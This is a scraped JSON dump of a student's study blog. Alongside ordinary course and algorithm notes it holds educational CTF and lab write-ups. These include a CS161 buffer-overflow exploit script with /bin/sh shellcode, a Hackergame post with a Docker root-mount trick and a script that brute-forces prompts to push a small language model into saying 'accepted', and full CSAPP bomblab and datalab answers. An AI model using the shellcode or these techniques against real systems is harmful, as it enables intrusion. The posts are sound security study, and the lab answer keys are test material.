-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcontent.json
1 lines (1 loc) · 142 KB
/
content.json
1
{"posts":[{"title":"About Blog and Learning","text":"Reasons to Write a Blog 这个博客是在一年之前建立的,但由于我觉得写博客很累就一直搁置着。在一年多的学习过程中,我时常感觉到遗忘和不知从何而来。前几天在翻找课程攻略时,我发现一个博客的主人曾几年不间断地每天写博客,我当然做不到这样,但是受到了莫大的激励,于是想起了这个博客,想要借此记录自己的学习和生活。不过说到做博客的经验的话,我是一点没有,但由于高中的时候写了不少随笔,因此我是擅长自言自语的。做这个博客,除了减少遗忘以外,更多的是给自己看,给自己一个念想,记录下自己的脚步。另外想说的还是,由于是给自己写的博客,技术纰漏很多,日记式自言自语的话很多,很多评价和感觉不成熟也不专业,很多感情很直接却也真实,看客们权当小孩子的把戏一笑而过。(不过应该也没人会看😆) 📖Site Log 2023/3/28 这几天多上传了几篇,发现文章的属性从学习记录变成随笔、日记和对未来的思考了,本来是督促学习的,现在为了写博客忘记了😆。 2023/3/31 感觉可以把课外阅读书单也加到博客里。 2023/4/24 水了好几篇博客文章,开了一些坑,不知道什么时候能补完。 2023/5/1 五一快乐! 2023/5/14 hexo d部署出了点问题,不知道是代理问题还是网络波动(已用git配置代理解决) 2023/6/5 期末事情变多了😭 2023/7/1 转眼间居然已经七月了,学长学姐都毕业了🎓,我也该上工了👷🧱 2023/7/23 回来学车了 2023/9/22 新的学期又开始了 2024/2/28 又是新学期,事情突然变得多起来了,好多新学的东西都转移到在线notebook上了 📔Lesson List and Progress Math Maki Topology Learning… rest video Maki Abstract algebra Learning… rest video Computer Science MIT-Missing-Semester CS106B/X rest project CS106L rest project CMU 15-213: CSAPP rest lab CS144 rest project CS50ai rest project CS61A CS61B rest lab CS61C rest multithreading lab MIT 6.031: Software Construction Learning… rest note problem MIT 6.S081: Operating System Engineering Learning… rest video lab Hung-yi Lee Machine Learning Maybe Learning later… rest video hw GAMES101 Maybe Learning later… CS162 Learning… CS110L Maybe Learning later… USTC Computer Networking MIT weblab Maybe Learning later… CS161 Maybe Learning later… MIT6.858 Maybe Learning later… Electronics Engineering 51单片机入门教程 STM32入门教程 Maybe Learning later… 📚Book List Computer Science 算法导论 算法第四版 数据结构和算法分析 C语言版 C++ Primer C++ Primer Plus 深入理解计算机系统 计算机网络 自顶向下方法 离散数学及其应用 ⚡Disadvantage Analysis 😭 整理一下目前学习过程中欠缺的地方 英语 网课能听懂了,但是字幕辅助还是挺重要,听力有点进步 短文本教程可以看懂,长文本看的吃力,阅读论文感觉很吃力 慢慢进步吧,感觉主要问题还是出在看的耐心不够,读长文献很不想读 背单词之类的 数学 离散、组合没学过,算法分析看的挺吃力 找门课学学 想学学其他数学课,时间有点跟不上,拓扑和抽代 电子 无电子基础,缺少对硬件元件的基本认识,缺少对电路的认识 模电、数电之类的 信号与系统不熟 嵌入式 嵌入式方面想了解下大致概念,单片机微处理器之类的,以及PCB设计工具 数据结构和算法 题写的很少,只会写一点链表 得刷点力扣、洛谷啥的 可以看看算法书、算法相关的网站之类的 开发 开发经验很少,遇到项目开发和课程作业总是力不从心 coding的熟练度不够 合作开发的经验不够 可以尝试下github造轮子的项目 语言 CJP三门都用过,但用的不熟,常用的包和库也不熟 开发训练 想学新语言(Rust?),时间有点不够 前端 前端一点不会,不懂html,不懂Javascript,不懂CSS 找门课学学,找点资料看看 计算机组成 玩过图灵完备🤣 CSAPP再看看,61C回去再看看 计算机网络 计算机网络学的很早,学的不熟,快忘光了 操作系统 快忘光了 数据库问题 数据库一点没学过 机器学习 了解大致概念但不深 图形学 没了解过 系统安全 想要了解CTF相关内容 lab补完 CSAPPlab - arch CS144lab - network MIT6.S081lab - OS","link":"/2023/03/27/About-Blog/"},{"title":"数据结构和算法笔记","text":"Intro 记录数据结构和算法题 笔记 背包dp 0-1背包 0-1背包指的是容量为W的背包,重量w[i]且价值v[i]的物品,每个物品只有两种状态,取或不取,怎样放入背包使背包中的物品价值最大。 二维数组解法,内存过大 >folded12345678910111213141516171819202122232425262728293031#include<bits/stdc++.h>using namespace std;int w[1001];int v[1001];int dp[101][1001];int main(){ int W, N; cin >> W >> N; for (int i = 1; i <= N; i++) { cin >> w[i] >> v[i]; } for (int i = 0; i <= N; i++) { dp[i][0] = 0; } for (int i = 1; i <= N; i++) { for (int j = 1; j <= W; j++) { if (j < w[i]) { dp[i][j] = dp[i - 1][j]; } else { dp[i][j] = max(dp[i - 1][j], dp[i - 1][j - w[i]] + v[i]); } } } cout << dp[N][W]; return 0;} 一维数组解法 >folded1234567891011121314151617181920212223242526#include<bits/stdc++.h>using namespace std;int w[1001];int v[1001];int dp[1001];int main(){ dp[0] = 0; int W, N; cin >> W >> N; for (int i = 1; i <= N; i++) { cin >> w[i] >> v[i]; } for (int i = 0; i <= N; i++) { for (int j = W; j >= w[i]; j--) { if (j - w[i] >= 0) { dp[j] = max(dp[j], dp[j - w[i]] + v[i]); } } } cout << dp[W]; return 0;} P1048 采药 完全背包 在01背包的基础上,每个物品都可以取任意数量 >folded12345678910111213141516171819202122232425#include<bits/stdc++.h>using namespace std;long long w[10001];long long v[10001];long long dp[10000001];int main(){ long long W, n; cin >> W >> n; dp[0] = 0; for (int i = 1; i <= n; i++) { cin >> w[i] >> v[i]; } for (int i = 1; i <= n; i++) { for (int j = w[i]; j <= W; j++) { dp[j] = max(dp[j], dp[j - w[i]] + v[i]); } } cout << dp[W]; return 0;} P1616 疯狂的采药 并查集 并查集的实现是一个森林,其中每个节点1-n刚开始都是独立的树的根节点,通过维护一个父节点数组来体现哪些节点在一棵树上,一个最基本的带有find和unite操作的并查集实现如下 >folded12345678910111213141516171819202122232425#include<bits/stdc++.h>using namespace std;struct dsu{ vector<size_t> pa; explicit dsu(size_t size) : pa(size) { iota(pa.begin(), pa.end(), 0); } size_t dsu::find(size_t x) { return pa[x] == x ? x : pa[x] = find(pa[x]); } void dsu::unite(size_t x, size_t y) { pa[find(x)] = find(y); }}; 并查集的两个常见优化是路径压缩和启发式合并,路径压缩在查询过程中将节点直接连接到根节点上,减少以后的查询时间,而启发式合并则维护两个集合的大小,总是把大集合的根节点作为小集合的根节点的父节点 P1111 修复公路 树状数组 线段树 dfs & bfs dfs的常用方法在于维护一个全局数组,对访问过的节点标记处理,利用递归搜索,回溯后清除标记 小项 高精度 高精度计算利用字符串和竖式加减法实现大整数的四则运算 >folded12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576#include<bits/stdc++.h>using namespace std;static const int LEN = 1004;int a[LEN], b[LEN], c[LEN];void clear(int a[]){ for (int i = 0; i < LEN; i++) { a[i] = 0; }}void read(int a[]){ static char s[LEN + 1]; scanf("%s", s); clear(a); int len = strlen(s); for (int i = 0; i < len; i++) { a[len - i - 1] = s[i] - '0'; }}void print(int a[]){ int i; for (i = LEN - 1; i >= 1; i--) { if (a[i] != 0) { break; } } for (; i >= 0; i--) { putchar(a[i] + '0'); } putchar('\\n');}void add(int a[], int b[], int c[]){ clear(c); for (int i = 0; i < LEN - 1; i++) { c[i] += a[i] + b[i]; if (c[i] >= 10) { c[i + 1] += 1; c[i] -= 10; } }}void sub(int a[], int b[], int c[]) { clear(c); for (int i = 0; i < LEN - 1; ++i) { c[i] += a[i] - b[i]; if (c[i] < 0) { c[i + 1] -= 1; c[i] += 10; } }}int main(){ read(a); read(b); add(a, b, c); print(c); return 0;} 快速幂 快速幂是以$\\Theta(log \\space n)$时间复杂度计算高次幂的小技巧 >folded1234567891011121314151617181920212223242526272829#include<bits/stdc++.h>using namespace std;//递归long long binpow(long long a, long long b){ if (b == 0) { return 1; } long long res = binpow(a, b / 2); if (b % 2) { return res * res * a; } else { return res * res; }}//非递归long long binpow(long long a, long long b){ long long res = 1; while (b > 0) { if (b & 1) res = res * a; a = a * a; b >>= 1; } return res;} gcd和lcm 最大公约数欧几里得算法 >folded12345678int gcd(int a, int b) { if (b == 0) return a; return gcd(b, a % b);}int lcm(int a, int b) { return a * b / gcd(a, b);} 扩展欧几里得算法 常用stl库 排序 sort >folded12345678int nums[100];//定义不同的cmp函数可以得到不同的排序bool cmp(int &a, int &b) { return a < b;}sort(nums, nums + n, cmp); 二分查找 lower_bound() upper_bound() >folded123456789#include <algorithm>//取得最小的下标i使 a[i] >= xlower_bound(a,a+n,x)-a //下标从0开始lower_bound(a+1,a+n+1,x)-a //下标从1开始//取得最小的下标i使 a[i] > xupper_bound(a,a+n,x)-a //下标从0开始upper_bound(a+1,a+n+1,x)-a //下标从1开始 可以对比两函数返回值,若不同则找到了a[i] == x,差值即为x的个数 set & map >folded12345678910set<int> st;for (auto i : st) { cout << *it << endl;}map<string, int> mp;for (auto it = mp.begin(); it != mp.end(); it++) { cout << it->first << endl; cout << it->second << endl;}","link":"/2023/09/03/algorithm-note/"},{"title":"About Math","text":"Introduction 介绍有关数学学习的问题 🔗Links how to learn math lesson list Branch of mathematics 线性代数 数学分析 点集拓扑 复分析 群论和抽象代数 伽罗瓦理论 微分几何 代数拓扑","link":"/2023/04/29/About-Math/"},{"title":"Literature and Philosophy","text":"Book List Literature 德 魔山 中 活着 Philosophy","link":"/2023/03/31/Literature-and-Philosophy/"},{"title":"CSAPP bomblab","text":"Intro CSAPP里传奇的实验 通过汇编能力拆除二进制炸弹,拯救世界! phase_1 通过strings_not_equal想到这里有个字符串判断 x/s 402400得到字符串为Border relations with Canada have never been better. phase_1就是上述字符串 phase_2 通过read_six_numbers得到phase_2是六个数字 add eax, eax可见每次取出的比较数字翻倍,第一个数字为1 phase_2就是1 2 4 8 16 32 phase_3 阅读反汇编,可知读取两个数字 第一个要比7小 第二个根据第一个有不同的分支答案 phase_4 第四题的func4是一个递归函数 phase_5 通过内存查找关键字符串flyers x/s 0x4024b0查找另一个敏感字符串maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you? 输入的六个字母的末4位正好是所取字符串flyers的索引0x9 0xF 0xE 0x5 0x6 0x7 phase_6 输入六个数字,用7减去六个数字得到六个索引 是一个链表,要使链表的内容从大到小排列 答案 1234567Border relations with Canada have never been better.1 2 4 8 16 320 2077 0ionefg4 3 2 1 6 5 secret_phase 彩蛋!一棵隐藏的二叉树 12345678Border relations with Canada have never been better.1 2 4 8 16 320 2077 0 DrEvilionefg4 3 2 1 6 522","link":"/2023/11/13/CSAPP-bomblab/"},{"title":"CSAPP datalab","text":"突发奇想,重做下CSAPP的lab,顺便把以前没做完的补上,希望能坚持下来 Links lab download Intro datalab主要是使用位运算来实现函数,考验对底层数据类型的掌握 修改bit.c文件以彰显你的位运算技术 32bit Solution bitXor 用位与和位非实现位异或 德摩根律走起 123int bitXor(int x, int y) { return ~(~(~x & y) & ~(x & ~ y));} tmin 要求返回最小的补码值0x10000000 123int tmin(void) { return 1 << 31;} isTmax 判断是否是补码最大值 由tmax的特征可得,特判0xFFFFFFFF 123int isTmax(int x) { return !(((x + 1) ^ x) ^ ~0x0) & !!(~x);} allOddBits 要求判断所有奇数位是否都为1 先取奇数位 再判断是否与0xAAAAAAAA相同 123int allOddBits(int x) { return !((x & 0xAAAAAAAA) ^ (0xAAAAAAAA));} negate 求一个数的负数 ~x + 1取反加一,常见的转换了 123int negate(int x) { return (~x + 1);} isAsciiDigit 判断是否是Ascii码的0-9,0x30 <= x <= 0x39 分三个条件 前26位为0 形如0x3* 最后四位减去10,符号位为1 123456789int isAsciiDigit(int x) { int cond1 = !(x >> 6); int cond2 = !((x & 0x30) ^ (0x30)); int cond3 = !!(((x & 0xF) + (~0xA + 1))>>31); return cond1 & cond2 & cond3;} conditional 实现?运算符 1取反加一为0xFFFFFFFF,0取反加一再取反为0x0,通过掩码实现选择 1234int conditional(int x, int y, int z) { x = !!x; return (~x + 1) & y | ~(~x + 1) & z;} isLessOrEqual 123456789101112* 实现<=* 主要思想是x-y的符号位* 要防止整型溢出int isLessOrEqual(int x, int y) { int sub = x + (~y + 1); int xf = !(x >> 31); int yf = !(y >> 31); int sf = !(sub >> 31); int flag1 = (!xf & yf); //x- y+ x int flag2 = !(xf & !yf); return flag2 & (!sf | !(x ^ y) | flag1);} logicalNeg 实现逻辑非! 1234int logicalNeg(int x) { int sign = x | (~x + 1); return (sign >> 31) + 1;} howManyBits 通过二的倍数不断逼近,得到所需位数 1234567891011121314151617int howManyBits(int x) { int b16,b8,b4,b2,b1,b0; int sign = x >> 31; x = (sign & ~x)|(~sign & x); b16 = !!(x>>16)<<4; x = x >> b16; b8 = !!(x>>8)<<3; x = x >> b8; b4 = !!(x>>4)<<2; x = x >> b4; b2 = !!(x>>2)<<1; x = x >> b2; b1 = !!(x>>1); x = x >> b1; b0 = x; return b16+b8+b4+b2+b1+b0+1;} floatScale2 实现IEEE浮点数*2 对非规格化, 对NaN返回本身 对计算后expr超过255的返回正负无穷 否则expr++ 12345678910111213141516171819unsigned floatScale2(unsigned uf) { unsigned fraction = uf & 0x007FFFFF; unsigned exponent = (uf >> 23) & 0xFF; unsigned sign = uf & (0x1 << 31); if (exponent == 0) { // 非规格化 return uf << 1 | sign; } if (exponent == 255) { // NaN return uf; } exponent = exponent + 1; if (exponent == 255) { return 0x7f800000 | sign; } return sign | (exponent << 23) | fraction;} floatFloat2Int 实现浮点数转int 12345678910111213141516171819int floatFloat2Int(unsigned uf) { int fraction = (uf & 0x007fffff) | 0x00800000; int exponent = ((uf >> 23) & 0xFF) - 127; int sign = uf >> 31; if (exponent > 31) { return 0x80000000; } if (exponent < 0) { return 0x0; } if (exponent > 23) { fraction = fraction << (exponent - 23); } else { fraction = fraction >> (23 - exponent); } if(!((fraction >> 31) ^ sign)) return fraction; else if(fraction >> 31) return 0x80000000; else return ~fraction + 1;} floatPower2 实现2.0^x的IEEE浮点数 12345678910111213unsigned floatPower2(int x) { if (x < -149) { return 0; } else if (x < -126) { int shift = 23 + (x + 126); return 1 << shift; } else if (x <= 127) { int expr = x + 127; return expr << 23; } else { return (0xFF) << 23; } }","link":"/2023/11/11/CSAPP-datalab/"},{"title":"Latex","text":"Intro 记录有关Latex的使用指南,润色论文格式。 Links Overleaf","link":"/2023/11/08/Latex/"},{"title":"Hackergame2023","text":"Hackergame2023 writeup by huayi 紧张刺激的Hackergame2023结束了,第一次打hackergame,最后也拿到了自己十分满意的成绩 当前分数:3750, 总排名:142 / 2386 Hackergame 启动 首先大喊Hackergame启动,url栏末尾出现/?similarity= 修改/?similarity=100即可获取flag 猫咪小测 Q1 想要借阅世界图书出版公司出版的《A Classical Introduction To Modern Number Theory 2nd ed.》,应当前往中国科学技术大学西区图书馆的哪一层? 搜索中国科学技术大学西区图书馆发现网页西区图书馆简介 因此外文图书在12层 Q2 今年 arXiv 网站的天体物理版块上有人发表了一篇关于「可观测宇宙中的鸡的密度上限」的论文,请问论文中作者计算出的鸡密度函数的上限为 10 的多少次方每立方秒差距? 搜索可观测宇宙中的鸡的密度上限答案23在这个知乎回答里 Q3 为了支持 TCP BBR 拥塞控制算法,在编译 Linux 内核时应该配置好哪一条内核选项? 搜索TCP BBR Linux kernel config,即得到答案CONFIG_TCP_CONG_BBR Q4 🥒🥒🥒:「我……从没觉得写类型标注有意思过」。在一篇论文中,作者给出了能够让 Python 的类型检查器 MyPY mypy 陷入死循环的代码,并证明 Python 的类型检查和停机问题一样困难。请问这篇论文发表在今年的哪个学术会议上? 参考网站(https://ccf.atom.im/)中下拉找到软件工程/系统软件/程序设计语言类的会议,手动爆破得到会议名为ECOOP 更深更暗 Crtl + a Crtl + c Crtl + v粘贴即可获得flag 旅行照片 3.0(2/3) 神秘奖牌 含有奖牌的图中是诺贝尔物理学奖和诺贝尔化学奖奖牌,根据题意,学长是东京大学学生,因此搜索东京大学诺贝尔奖得主,发现符号条件且出生最晚是梶田隆章 1959.3 东京大学,研究所名为ICRR,东京大学宇宙射线研究所 对暑假6 7 8 9月的日期爆破,得到日期2023.8.10 这是什么活动? 第一问搜索東京 上野公園 "2023.8.10",发现是梅酒节,其中含有【ボランティアSTAFF募集】,发现编号为S495584522 第二问爆破,最后发现是0 后会有期,学长! 第一问卡了一年还是没做出来,以后要仔细看看图片里的文字了(statphys28),答案是安田讲堂 第二问熊猫-秋田犬,搜索ボタン&カフリンクス 上野,答案熊猫在这个网站 由后面的马里奥推测是涉谷任天堂旗舰店,搜索涉谷 3d即得到答案秋田犬 赛博井字棋 和ai下一子 F12打开控制台修改ai下的位置如board[1][1] = 0然后即可覆盖ai下的地方 轻松拿下游戏,重振人类井字棋荣光! 奶奶的睡前 flag 故事 根据题目中 谷歌的『亲儿子』连系统都没心思升级 截图 在最后几个关键词googl搜索 发现google亲儿子系列pixel存在截图漏洞(事实上早期windows也存在) pixel acropalypse截图漏洞 检查工具 恢复工具 由于连系统都没心思升级,尝试低版本pixel,在系统为pixel3时就恢复成功了 组委会模拟器 可以进化成为高频率星人后再申请组委会 如果进化失败,可以使用人类的javascript脚本 12345678910setInterval(function() { var x = document.getElementsByClassName("fakeqq-message__bubble"); for (var i = 0; i < x.length; i++) { var content = x[i].textContent; if (content.search(/hack\\[/) != -1) { console.log(content); x[i].click(); } }}, 1500); 虫 SSTV:慢扫描电视(Slow-scan television)是业余无线电爱好者的一种主要图片传输方法,慢扫描电视通过无线电传输和接收单色或彩色静态图片。 推荐的工具MMSSTV,e2eSoft来读取.wav文件 JSON ⊂ YAML(1/2) 这题没有真正读懂文档 Git? Git! 根据题意猜测是git回滚 git reflog查看提交历史记录 git reset --hard 505e1a3回滚到含flag的版本,读取readme.md中的flag HTTP 集邮册 参考资料 尝试了各种请求例子得到十二个状态码 无状态码:去掉http协议 Docker for Everyone docker run -v /:/mnt -it alpine挂载根目录 在mnt中寻找flag 发现flag -> /dev/shm/flag目录下 cat dev/shm/flag读取 惜字如金 2.0 根据代码后面提示,每行应有24个字符,而原来每行只有23个,说明被惜字如金优化了 12345cod_dict += ['nymeh1niwemflcir}echaet']cod_dict += ['a3g7}kidgojernoetlsup?h']cod_dict += ['ulw!f5soadrhwnrsnstnoeq']cod_dict += ['ct{l-findiehaai{oveatas']cod_dict += ['ty9kxborszstguyd?!blm-p'] 根据flag{}的格式恢复数据 12345cod_dict += ['nymeh1niwemflcir}echaete']cod_dict += ['a3g7}kidgojernoetlsup?he']cod_dict += ['ulw!ff5soadrhwnrsnstnoeq']cod_dict += ['ctt{l-findiehaai{oveatas']cod_dict += ['ty9kxborszstgguyd?!blm-p'] 运行得到flag 🪐 高频率星球 asciinema play asciinema_restore.rec >> flag.js 查找删除多余的数据 nodejs flag.js得到flag 🪐 小型大语言模型星球(2/4) You Are Smart 输入Am I smart? Accepted Python脚本随机爆破七位英文字母或六位英文字母 1234567891011121314151617181920212223242526272829303132333435363738from transformers import AutoModelForCausalLM, AutoTokenizer, GenerationConfigmodel = AutoModelForCausalLM.from_pretrained("roneneldan/TinyStories-33M")tokenizer = AutoTokenizer.from_pretrained("EleutherAI/gpt-neo-125M")import randomdef generate_random_str(randomlength=16): random_str ='' base_str ='abcdefghigklmnopqrstuvwxyz' length =len(base_str) -1 for i in range(randomlength): random_str +=base_str[random.randint(0, length)] return random_strif __name__ == '__main__': for i in range(10000): prompt = generate_random_str(6) # prompt = "Am I smart?" input_ids = tokenizer.encode(prompt, return_tensors="pt") # Generate completion output = model.generate(input_ids, max_length = 1000, num_beams=1) # Decode the completion output_text = tokenizer.decode(output[0], skip_special_tokens=True) # Print the generated text if "accepted" in output_text: print(i, "-> OK") print("prompt: ", prompt) print("output: ", output_text) break else: print(i, "-> no") print("prompt: ", prompt) 运气好爆破成功了,爆破出来的结果应该不尽相同 prompt: vffwmi output: accepted the cone and was so happy. She thanked the man and ran off with her cone. The cone was so delicious and she was so 🪐 流式星球 Python脚本读取二进制到flag.mp4 123456789101112131415161718192021222324252627282930313233import cv2import numpy as npimport timefor w in range(1500, 2000): print("w = ", w) h = w num = int(135146688 / w / h / 3) # 打开二进制文件 f = open('video.bin', 'rb') # 创建VideoWriter对象 out = cv2.VideoWriter('output.mp4', cv2.VideoWriter_fourcc(*"mp4v"), num, (w, h), True) # 循环读取二进制数据,并转换为图像 for i in range(0, num): # 读取一帧的字节数 data = f.read(w*h*3) # 如果没有数据,则退出循环 if not data: break # 将字节数据转换为一维数组 arr = np.frombuffer(data, dtype=np.uint8) # 将一维数组转换为三维图像 img = arr.reshape(w, h, 3) # 将图像写入视频文件 out.write(img) # 释放资源 f.close() out.release() time.sleep(3) 先尝试几个宽和高,失败后人肉调频发现w=1708,h=1708时出现了4列多行的画面 于是w=1708/4=427得到正常一帧图片的宽,最后在视频中得到flag 🪐 低带宽星球(1/2) 第一问扔一个压缩网站里面就好了 为什么要打开 /flag 😡(1/2) 想过打包main和动态链接库(但没用) 想过在根目录写入动态链接库(但Read Only) 想过运行时改变环境变量LD_PRELOAD(但已经迟了) 最后居然是静态链接直接绕过了函数 1234567891011121314151617181920212223242526272829#include<stdio.h>#include<stdlib.h>int is_flag(const char *pathname) { return 0;}int main(){ // Read Only, open flag printf("where is flag:"); FILE *fp; char buffer[100]; fp = fopen("/flag", "rw"); if (fp == NULL) { printf("no\\n"); return; } while (fgets(buffer, 100, fp) != NULL) { printf("%s", buffer); } fclose(fp); return 0;} 异星歧途 会就玩,不会就枚举! 一个个试出来的,话说这真的是"二进制"题吗? 总结 感谢hackergame幕后的工作人员,也感谢这七天疯狂烧脑互相陪伴的大家,下次还来!","link":"/2023/11/04/hackergame2023/"},{"title":"About Physics","text":"Introduction 介绍有关物理学习的问题 🔗Links (updating…)","link":"/2023/10/20/About-Physics/"},{"title":"MIT 6.858","text":"Links 课程主页 课程视频 LEC 1: Introduction, threat models","link":"/2023/09/22/MIT-6-858/"},{"title":"mkdocs","text":"使用记录 mkdocs serve 本地端口预览 mkdocs build 生成静态网页 mkdocs gh-deploy 推送至服务器","link":"/2023/09/18/mkdocs/"},{"title":"CS161 Project 1","text":"Project1 Q0 Customizer 以customizer - customizer身份获取后续密码 remus - ilearned Q1 Remus 要求我们使用缓冲区溢出注入代码,由此读取访问受限的文件README orbit.c12345678910111213#include <stdio.h>void orbit(){ char buf[8]; gets(buf);}int main(){ orbit(); return 0;} 可以发现gets()没有对读取的输入作越界处理,因此含有缓冲区溢出的隐患 ./debug-exploit并在第五行处打断点 gdb12345678910111213141516(gdb) b 5(gdb) r(gdb) x/16x buf0xbffffc68: 0xbffffd1c 0xb7ffc165 0x00000000 0x000000000xbffffc78: 0xbffffc88 0xb7ffc4d3 0x00000000 0xbffffca00xbffffc88: 0xbffffd1c 0xb7ffc6ae 0xb7ffc648 0xb7ffefd80xbffffc98: 0xbffffd14 0xb7ffc6ae 0x00000001 0xbffffd14(gdb) i fStack level 0, frame at 0xbffffc80: eip = 0xb7ffc4ab in orbit (orbit.c:6); saved eip = 0xb7ffc4d3 called by frame at 0xbffffca0 source language c. Arglist at 0xbffffc78, args: Locals at 0xbffffc78, Previous frame's sp is 0xbffffc80 Saved registers: ebp at 0xbffffc78, eip at 0xbffffc7c 由此我们获得了我们想要的地址,rip与buf间相差了20个字节 orbit.c1234rip (0xbffffc7c)sfpcompiler paddingbuf (0xbffffc68) 用如下脚本产生输出,先写20Byte的无用字节,到达地址rip(0xbffffc7c),我们覆写rip地址处的值为rip+4(0xbffffc80),使得函数返回地址被篡改为0xbffffc80,再在0xbffffc80处注入SHELLCODE egg123456789101112131415161718#!/usr/bin/env python3import codecsimport syssys.stdout = codecs.getwriter("latin1")(sys.stdout.buffer)dummy = "\\x61"Overwrite = "\\x80\\xfc\\xff\\xbf"SHELLCODE = \\ "\\x6a\\x32\\x58\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x6a" + \\ "\\x47\\x58\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f" + \\ "\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x54\\x5b\\x50" + \\ "\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"for i in range(0,20): print(dummy, end = "")print(Overwrite, end = "")print(SHELLCODE) ./exploit后输入cat README 12345678Relay module [queued message: 2]Spigel: Comrade Bosik, the idea that a robot is designing Caltopian spacecrafts is beyond absurd.Bosik: If you’ve ever seen telemetry logs of Spica, you wouldn’t be so naive.Next username: spicaNext password: alanguage Q2 Spica","link":"/2023/08/25/CS161-Project-1/"},{"title":"CS161","text":"The primary way of securing a system is understanding how it works? False. Oftentimes the best defense is to remove incentives for attackers Links ucb的一门系统安全课程 课程主页su20 课程主页su21用作proj 课程hw(toekn: G2DR3D) Lecture 1: Introduction Threat Model: 谁会攻击你、他们有什么样的资源 Lecture 2: Security Principles Don’t Blame the Users Security is Economics Prevention Detection, Defense in Depth Password Authentication Measuring Attacker Capabilities rubber-hose cryptanalysis Least Privilege Trusted Computing Base (TCB) 可信任计算空间的特点是,小巧简单,这样构造的计算空间容易达到没有bug的要求。因此,以现代浏览器为例,开发者在开发过程中为浏览器的不同部分赋予了不同的权限和信任度,比如浏览器的核心是TCB,而浏览器的渲染引擎却不是TCB Ensuring Complete Mediation Time of Check to Time of Use (TOCCTOU) Lecture 3: Buffer Overflows 易受攻击的代码 12345678char name[20];int authenticated = 0;void vulnerable() { ... gets(name); ...} 缓冲区溢出CWE-119是最多被利用的漏洞 对于32bit的x86机器,如果攻击者可以在X地址处溢出,而函数的返回地址保存在Y地址处,攻击者通过写Y-X个无意义字节到达Y地址,将Y+4作为函数的返回地址写入,并在返回地址后加入他们的攻击代码,攻击就得以实现。 有符号无符号溢出 1234567void vulnerable(int len, char *data) { char buf[64]; if (len > 64) { return; } mencpy(buf, data, len);} 如果len == -1会发生什么?0x11111111,在mencpy中被认为是一个很大的正数! 整形溢出 12345678void f(size_t len, char *data){ char *buf = malloc(len+2); if (buf == NULL) return; memcpy(buf, data, len); buf[len] = '\\n'; buf[len+1] = '\\0';} 如果len == 0xFFFFFFFF,整型溢出 格式化字符串 栈 内存安全 禁止对未声明地址的访问 禁止越界访问 禁止超过生命周期的访问 Lecture 4: Buffer Overflow Defenses 使用内存安全的语言Python,Java,Go,Rust,而不是C,C++,Objective C 保护不安全的代码 堆栈金丝雀是每次程序开始执行时随机生成的值,在函数调用时检查,如果发现被篡改,就终止程序 一般来说,canary的的位数取决于机器架构,但至少有一字节的值为0x00,因为许多缓冲区溢出攻击(如字符串)不能包含NULL字节 对内存空间赋予不同的权限,如堆栈是可写的却不可执行,code是可执行的却是不可写的 返回到已经存在的库函数 面向返回编程 地址空间随机化ASLR 模糊测试 Lecture 5: IND-CPA, OTP and Block Ciphers Keygen() -> K Enc(K, M) -> C Dec(K, C) -> M Correctness: $$\\forall K \\exist M, c \\gets Enc(K, M), Dec(K, C) = M$$ IND-CPA 选择明文攻击下的不可区分性 OTP 一次性密码 Lecture 6: Symmetric Key Encryption, PRG 分组密码 伪随机 AES","link":"/2023/08/20/CS161/"},{"title":"STM32入门教程","text":"Links STM32入门教程视频","link":"/2023/07/31/STM32MCU/"},{"title":"51单片机入门教程","text":"Links 51单片机入门教程视频 1.课程简介 安装Keil5和STC-ISP,分别为编辑器和编译器、汇编器 MCU(Micro Controller Unit)单片机 集成CPU、RAM、ROM。定时器、中断系统、通讯接口等 信息采集(传感器)、处理(CPU)、控制硬件设备(电机、LED) 本课程采用的51单片机型号STC89C52 命名规则 晶体振荡器:有一些电子设备需要频率高度稳定的交流信号,而LC振荡器稳定性较差,频率容易漂移(即产生的交流信号频率容易变化)。在振荡器中采用一个特殊的元件——石英晶体,可以产生高度稳定的信号,这种采用石英晶体的振荡器称为晶体振荡器。 单片机管脚 Vcc正极 Gnd负极 单片机最小系统 开发板原理图 C51数据类型 2.LED基础 LED(Light Emitting Diode)发光二极管 电路计数法 102 = 10*10^2 1003 = 100*10^3 LED模块 也就是说,通过控制P2寄存器使P2输出端口输出高低电平就可以实现LED的亮灭,高电平1灭,低电平0亮 3.独立按键控制LED 独立按键模块 也就是说,MCU从P3端口读取输入来获取独立按键是否按下的信息 按键的抖动 硬件消除抖动 软件消除抖动 4.数码管显示 数码管模块 解码器模块 数码管消影 5.模块化编程 .h .c分模块 LCD1602液晶屏显示用作调试工具 6.矩阵键盘 逐行扫描和逐列扫描,节省IO口 由于端口IO复用,采用逐列扫描 IO为什么既是输入又是输出? 弱上拉? 7.定时器 定时器属于单片机内部资源,可以代替主时钟的计时功能,减少时钟周期的浪费,提高CPU的运行效率 定时器工作模式 中断资源 相关寄存器 需要设置中断处理函数在每次定时器中断时执行 8.串口通信 硬件电路 9.LED点阵屏 8*8的单色点阵屏 74HC595移位寄存器 code关键字把变量放入flash闪存中(ROM),而不是程序堆栈中(RAM),用于存储大型数据 example12345678unsigned char code Animation[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0xFF,0x08,0x08,0x08,0xFF,0x00,0x0E,0x15, 0x15,0x15,0x08,0x00,0x7E,0x01,0x02,0x00, 0x7E,0x01,0x02,0x00,0x0E,0x11,0x11,0x0E, 0x00,0x7D,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,}; 10.DS1302时钟 RTC(Real Time Clock)实时时钟,集成电路时钟芯片 BCD码 11.蜂鸣器 乐理 #升音符号 半音 b降音符号 半音 $1=D\\frac{4}{4}$ 代表D调,分母4表示以四分音符为标准一拍,分子4代表每小节有四拍 12.AT24C02 存储器 AT24C02是一种E2PROM存储芯片 I2C总线 时序结构 13.DS18B20温度传感器 温度传感器 单总线 时序结构 14.LCD1602 显示屏 时序结构 指令集 15.直流电机驱动(PWM) 直流电机 PWM 16.模拟数字转换AD/DA 模拟数字转换 XPT2046时序 17.红外遥控","link":"/2023/07/29/51MCU/"},{"title":"weblab Week 1","text":"Intro 